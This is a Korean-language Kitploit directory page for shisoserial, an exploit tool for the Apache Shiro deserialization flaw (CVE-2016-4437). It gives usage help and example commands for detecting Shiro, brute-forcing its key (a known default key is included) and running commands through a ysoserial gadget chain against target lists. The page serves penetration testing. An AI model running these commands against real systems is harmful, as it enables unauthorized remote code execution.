Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
shisoserial — shiro 역직렬화 취약점(CVE-2016-4437)을 대상으로 하는 빠른 익스플로잇 도구 / A simple tool targeted at shiro framework attacks with ysoserial. | Kitploit
도구/GitHubGitHub/4nth0ny1130/shisoserial
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHub4nth0ny1130/shisoserial

shisoserial

shiro 역직렬화 취약점(CVE-2016-4437)을 대상으로 하는 빠른 익스플로잇 도구 / A simple tool targeted at shiro framework attacks with ysoserial.

저장소 보기
24254년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

shisoserial

English Document

이게 뭔가요?

Shiro 역직렬화 취약점(CVE-2016-4437)에 대한 빠른 익스플로잇 도구입니다.

기여자

4nth0ny @금요일 연구소

이슈/PR 환영합니다.

:)

환경

  • python 3.x

  • JDK 1.8

설치

python3 -m pip install -r requirements.txt

AttributeError: module 'Crypto.Cipher.AES' has no attribute 'MODE_GCM' 또는 No module named 'Crypto' 오류가 발생할 경우:

python3 -m pip uninstall crypto pycryptodome
python3 -m pip install pycryptodome

사용법

usage: shisoserial.py [-h] --mode MODE --url  [--type default:CBC] [--data] [--key] [--gadget] [--command default:whoami] [--proxies] [--ser] [--thread]

This is a simple tool to attack framework shiro with ysoserial

optional arguments:
  -h, --help            show this help message and exit
  --mode MODE, -m MODE  check/crack/yso/echo/encode
  --url , -u            Target URL address or the file containing the target URL
  --type default:CBC, -t default:CBC
                        Cipher Type, GCM or CBC
  --data , -d           Using this parameter will make HTTP request with POST method
  --key , -k            Specify a Shiro Key or will use dictionary brute force cracking
  --gadget , -g         Specific Ysoserial Gadget
  --command default:whoami, -c default:whoami
                        Specific Execute Command
  --proxies , -p        Specific Proxy
  --ser , -s            Specific serialize file name
  --thread , -T         Specific the number of threads

예제

대상이 Shiro 프레임워크를 사용하는지 확인 (기본 CBC 암호화 사용)

python3 shisoserial.py -m check -u http://127.0.0.1:8080

프록시 및 CBC 암호화를 사용하여 대상 Shiro 키 크래킹

python3 shisoserial.py -m crack -u http://*.*.*.*:**** -t CBC -p ****://*.*.*.*:****/

CommonsCollectionsK1 익스플로잇 체인을 사용하여 명령 실행 및 결과 획득

python3 shisoserial.py -m echo -u http://127.0.0.1:8080 -g CommonsCollectionsK1 -c id

POST 요청을 사용하여 지정된 Shiro 키 일괄 검증

python3 shisoserial.py -m crack -u target_urls.txt -k kPH+bIxk5D2deZiIxcaaaA== -d username=1

image-20211229223405240

직렬화 데이터 파일을 사용하여 페이로드 구성 및 멀티스레드로 일괄 전송

python3 shisoserial.py -m encode -u target_urls.txt -t cbc -s 1.ser -T 4

image-20211230181021173

면책 조항

본 도구는 적법한 허가를 받은 기업 보안 구축 목적으로만 사용해야 합니다. 본 도구를 사용하는 과정에서 귀하는 모든 행위가 현지 법률 및 규정을 준수하는지 확인해야 합니다. 본 도구를 사용하는 과정에서 불법적인 행위가 발생할 경우, 귀하는 모든 결과에 대해 단독으로 책임을 지며, 본 도구의 모든 개발자 및 기여자는 어떠한 법적 책임도 지지 않습니다. 귀하가 이 계약의 모든 조항을 충분히 읽고 완전히 이해하며 동의하지 않는 한, 본 도구를 설치하거나 사용하지 마십시오. 귀하의 사용 행위 또는 기타 명시적 또는 묵시적 방식으로 본 계약을 수락한다는 의사 표시는 귀하가 본 계약을 읽고 이에 구속되는 데 동의한 것으로 간주됩니다.

도구 다운로드